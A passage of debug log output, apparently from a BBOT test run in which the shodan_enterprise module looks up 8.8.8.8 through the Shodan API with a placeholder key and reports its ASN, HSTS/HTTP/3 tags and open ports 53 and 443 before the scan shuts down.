scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:11:25,971 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:11:25,971 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:11:25,972 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:11:25,974 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:11:25,975 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:11:25,975 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:11:25,975 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:11:25,977 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:11:25,978 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:11:25,978 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:11:25,979 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:11:25,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:11:25,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:11:25,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:11:25,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:11:25,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:11:25,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:11:25,981 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:11:25,984 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:11:25,984 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:11:25,984 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:11:25,986 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:11:25,986 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:11:25,986 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:11:25,986 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:11:26,153 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_psen6szjf5 +2026-02-27 22:11:26,154 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:11:26,272 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:11:26,273 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:11:26,273 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:11:26,274 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 22:11:26,374 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-02-27 22:11:26,375 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 22:11:26,376 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 22:11:26,377 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:11:26,379 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:11:26,380 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:11:26,380 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:11:26,380 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:11:26,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:11:26,383 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:11:26,384 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:11:26,386 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:11:26,387 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:11:26,389 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:11:26,389 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:11:26,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:11:26,393 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:11:26,394 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:11:26,395 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:11:26,395 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 22:11:26,395 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 22:11:26,396 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 22:11:26,396 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:11:26,397 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:11:26,401 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:11:26,493 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:11:26,496 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:11:26,497 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:11:26,498 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:11:26,499 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 22:11:26,499 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:11:26,500 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:11:26,500 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:11:26,501 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-02-27 22:11:26,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:11:26,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:11:26,503 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:11:26,504 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:11:26,504 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:11:26,505 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:11:26,506 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,506 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,506 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:11:26,507 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:11:26,507 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:11:26,508 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,510 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,510 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,510 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,511 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:11:26,512 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:11:26,512 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) because precheck succeeded +2026-02-27 22:11:26,513 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:11:26,513 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:11:26,514 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,514 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:11:26,515 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:11:26,515 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,516 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,516 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,517 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target +2026-02-27 22:11:26,517 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:11:26,518 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:11:26,518 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,519 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,519 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:11:26,519 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,520 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:11:26,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:11:26,522 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:11:26,523 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,523 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:11:26,524 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,524 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,524 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,525 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:11:26,526 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,526 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,526 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,527 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:11:26,527 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:11:26,528 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:11:26,528 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,529 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:11:26,529 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded +2026-02-27 22:11:26,530 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,530 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,531 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:11:26,531 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:11:26,600 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-02-27 22:11:26,601 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:11:26,602 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:11:26,602 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:11:26,603 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:11:26,603 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,603 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:11:26,604 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,604 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise +2026-02-27 22:11:26,605 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:11:26,605 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:11:26,606 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:11:26,606 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:11:26,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:11:26,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:11:26,608 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:11:26,610 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:11:26,610 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:11:26,611 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:11:26,611 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:11:26,712 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:11:26,713 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:11:26,732 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:11:26,733 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:11:26,733 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 